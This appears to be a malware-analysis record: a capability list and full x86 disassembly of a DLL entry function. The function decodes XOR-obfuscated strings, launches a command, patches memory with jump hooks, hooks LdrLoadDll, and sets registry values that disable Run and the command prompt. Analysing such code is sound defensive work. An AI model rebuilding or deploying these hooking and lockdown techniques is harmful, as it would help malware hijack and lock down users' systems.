Function at 0x100089d0
Capabilities:
Allocate or change rwx memory
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x10022018]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000936c
call fcn.10004350
lea eax, [esp + 0x1d8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0xdf
xor esi, esi
lea ebx, [eax + 0x20]
mov cl, byte [esi + 0x1001dc88]
xor cl, al
inc eax
mov byte [esp + esi + 0x9c], cl
inc esi
and eax, ebx
cmp esi, 0x36
jb 0x10008a27
lea edx, [esp + 0x1d8]
push edx
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x2e8]
push ecx
mov byte [esp + 0xde], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea edx, [esp + 0xa0]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [esp + 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [esp + 0x1dc]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 0x2e4]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea eax, [esp + 0x114]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + 0x114], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x114], 6
ja 0x10008b07
cmp dword [esp + 0x118], 1
ja 0x10008b07
mov byte [0x1127f69a], 1
jmp 0x10008b10
push edi
call fcn.10013b00
add esp, 4
mov ecx, 0x1f245f17
lea eax, [esp + 0x38]
call fcn.10009650
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov word [esp + 0x40], ax
mov byte [esp + 0x42], al
mov ecx, 0x5cc7618f
lea eax, [esp + 0x64]
call fcn.100097c0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], ecx
mov word [esp + 0x6c], cx
call eax
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10013940
test eax, eax
je 0x10008e8f
mov edx, dword [eax + 1]
mov esi, 0x21
lea edi, [esp + 0x1a8]
mov dword [0x1127f70c], edx
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffff89ff
mov dword [esp + 0x1b0], 0x83ffffff
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffff02ff
mov dword [esp + 0x1bc], 0xffffff83
mov dword [esp + 0x1c0], 0x7404ffff
mov dword [esp + 0x1c4], 0x6affebff
mov byte [esp + 0x1c8], 0
call fcn.10013940
mov dword [0x1127f710], eax
test eax, eax
je 0x10008c5b
mov eax, dword [eax + 1]
mov dword [0x1127f710], eax
jmp 0x10008ca7
mov eax, 0xba
xor esi, esi
mov cl, byte [esi + 0x1001dccc]
xor cl, al
inc eax
mov byte [esp + esi + 0x44], cl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10008c62
lea edx, [esp + 0x44]
push edx
push 0
mov ecx, 0x10122560
mov byte [esp + 0x5b], 0
call fcn.1000ab70
xor eax, eax
add esp, 8
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.100130a0
mov esi, 0x17
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0x8e68
mov dword [esp + 0x1ac], 0xc16800
mov dword [esp + 0x1b0], 0xff8d0000
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffffffe8
mov word [esp + 0x1bc], 0x6aff
mov byte [esp + 0x1be], 2
call fcn.10013940
mov dword [esp + 0x10], eax
test eax, eax
je 0x10008e67
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10013940
mov dword [0x1062d1c8], eax
test eax, eax
je 0x10008d85
mov eax, dword [eax + 0xb]
mov dword [0x1062d1c8], eax
jmp 0x10008dad
mov eax, 0x67
xor esi, esi
lea esp, [esp]
mov cl, byte [esi + str.4__58]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x12
jb 0x10008d90
call fcn.100130a0
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x48]
mov ecx, dword [eax + edx + 0x57]
lea eax, [eax + edx + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x1062d1c0], ecx
add ecx, 0x2d
mov dword [0x1062d1bc], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1062d1bc], ecx
mov edx, dword [eax + 0x26]
mov dword [0x1062d1c4], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10022370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10022370], ecx
lea ecx, [eax + 0x21]
mov dword [0x10022364], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10022364], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10022368], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10022368], ecx
lea ecx, [eax + 0x42]
mov dword [0x1002236c], ecx
mov edx, dword [ecx + 1]
mov dword [0x1062d1b8], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x10022374], eax
mov dword [0x1002236c], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x10022374], eax
mov dword [0x1127f714], 0x10004e30
jmp 0x10008edb
mov eax, 0x72
xor esi, esi
mov edi, edi
mov cl, byte [esi + 0x1001dcf0]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x1b
jb 0x10008e70
call fcn.100130a0
jmp 0x10008edb
mov eax, 0x82
xor esi, esi
mov dl, byte [esi + 0x1001dd0c]
xor dl, al
inc eax
mov byte [esp + esi + 0x54], dl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10008e96
lea eax, [esp + 0x54]
push eax
push 0
mov ecx, 0x10122560
mov byte [esp + 0x6b], 0
call fcn.1000ab70
xor eax, eax
add esp, 8
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call fcn.100130a0
mov esi, 0x30
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffe8c88b
mov dword [esp + 0x1ac], 0xe8ffffff
mov dword [esp + 0x1b0], 0xffffffff
mov dword [esp + 0x1b4], 0xffffffe8
mov dword [esp + 0x1b8], 0xffffe8ff
mov dword [esp + 0x1bc], 0xffe8ffff
mov dword [esp + 0x1c0], 0xe8ffffff
mov dword [esp + 0x1c4], 0xffffffff
mov dword [esp + 0x1c8], 0xffffffe8
mov dword [esp + 0x1cc], 0xffffe8ff
mov dword [esp + 0x1d0], 0x1b0ffff
mov dword [esp + 0x1d4], 0xc35de58b
call fcn.10013940
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x1012d08c], eax
test eax, eax
je 0x10008fca
lea ecx, [eax + 0x20]
mov dword [0x1062d1b0], ecx
lea edi, [eax + 0x1b]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x1012d10c], edi
mov edx, dword [edi + 1]
push 0x40
push 5
lea eax, [edi + edx + 5]
push edi
mov dword [0x1012d10c], eax
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push ecx
mov edx, 0x10004e80
sub edx, edi
push 5
sub edx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call esi
jmp 0x10008fcf
call fcn.100130a0
mov edi, dword [0x1062d1c0]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x76
push edi
call esi
push 0x76
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x76
push edi
call esi
mov edi, dword [0x1062d1b8]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x1e0
push edi
call esi
push 0x1e0
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x1e0
push edi
call esi
mov edi, dword [0x1062d1c4]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x33
push edi
call esi
push 0x33
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x33
push edi
call esi
mov edi, dword [0x1062d1c4]
lea edx, [esp + 0x10]
push edx
push 0x40
push 5
push edi
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push edx
mov eax, 0x10004d30
sub eax, edi
push 5
sub eax, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], eax
call esi
push 0x500000
push 0
push 0x1012d1b0
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x500000
push 0x1012d1b0
push 0x400000
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
mov cl, byte [eax + 0x1012d1b0]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012d1b0], cl
inc eax
cmp eax, 0x500000
jb 0x100090d2
push 0xa0
push 0
push 0x1012d110
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x1012d110
push 0x10004d30
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x1012d110]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012d110], dl
inc eax
cmp eax, 0xa0
jb 0x10009120
push 0x7c
push 0
push 0x1012d090
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x1012d090
push fcn.10004ab0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
mov cl, byte [eax + 0x1012d090]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012d090], cl
inc eax
cmp eax, 0x7c
jb 0x10009164
push 0x1f9
push 0
push 0x1012ce90
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x1f9
push 0x1012ce90
push fcn.10004b30
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor edi, edi
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x1012ce90]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012ce90], dl
inc eax
cmp eax, 0x1f9
jb 0x100091b0
mov dword [esp + 0x18], edi
mov eax, 6
mov cl, byte [edi + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor cl, al
inc eax
mov byte [esp + edi + 0xd4], cl
inc edi
and eax, ebx
cmp edi, 0x3b
jb 0x100091d3
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xd8]
push eax
push connect
mov byte [esp + 0x11b], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x3c
lea ecx, [esp + 0xd8]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x20]
add esp, 0xc
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push 0
lea eax, [esp + 0x34]
push eax
push ecx
mov dword [esp + 0x3c], 0x75526f4e
mov word [esp + 0x40], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
xor eax, eax
push edx
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0xa1
xor edi, edi
mov cl, byte [edi + 0x1001dd58]
xor cl, al
inc eax
mov byte [esp + edi + 0x70], cl
inc edi
and eax, ebx
cmp edi, 0x2a
jb 0x10009266
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x74]
push eax
push connect
mov byte [esp + 0xa6], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x2b
lea ecx, [esp + 0x74]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x20]
add esp, 0xc
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push 0
lea eax, [esp + 0x3c]
push eax
push ecx
mov dword [esp + 0x44], 0x61736944
mov dword [esp + 0x48], 0x43656c62
mov word [esp + 0x4c], 0x444d
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
xor eax, eax
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov word [esp + 0x38], ax
mov byte [esp + 0x3a], al
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [0x1127f690], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10009359
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x1127f720
call esi
mov edx, dword [edi]
mov dword [0x1127f720], edx
mov edx, dword [esp + 0x10]
mov ax, word [edi + 4]
lea ecx, [esp + 0x10]
push ecx
push edx
push 6
push 0x1127f720
mov word [0x1127f724], ax
call esi
call fcn.10011120
push 0
xor ecx, ecx
mov edi, 0x10007f90
call fcn.100139f0
mov ecx, dword [esp + 0x3ec]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10016888
mov esp, ebp
pop ebp
ret 0xc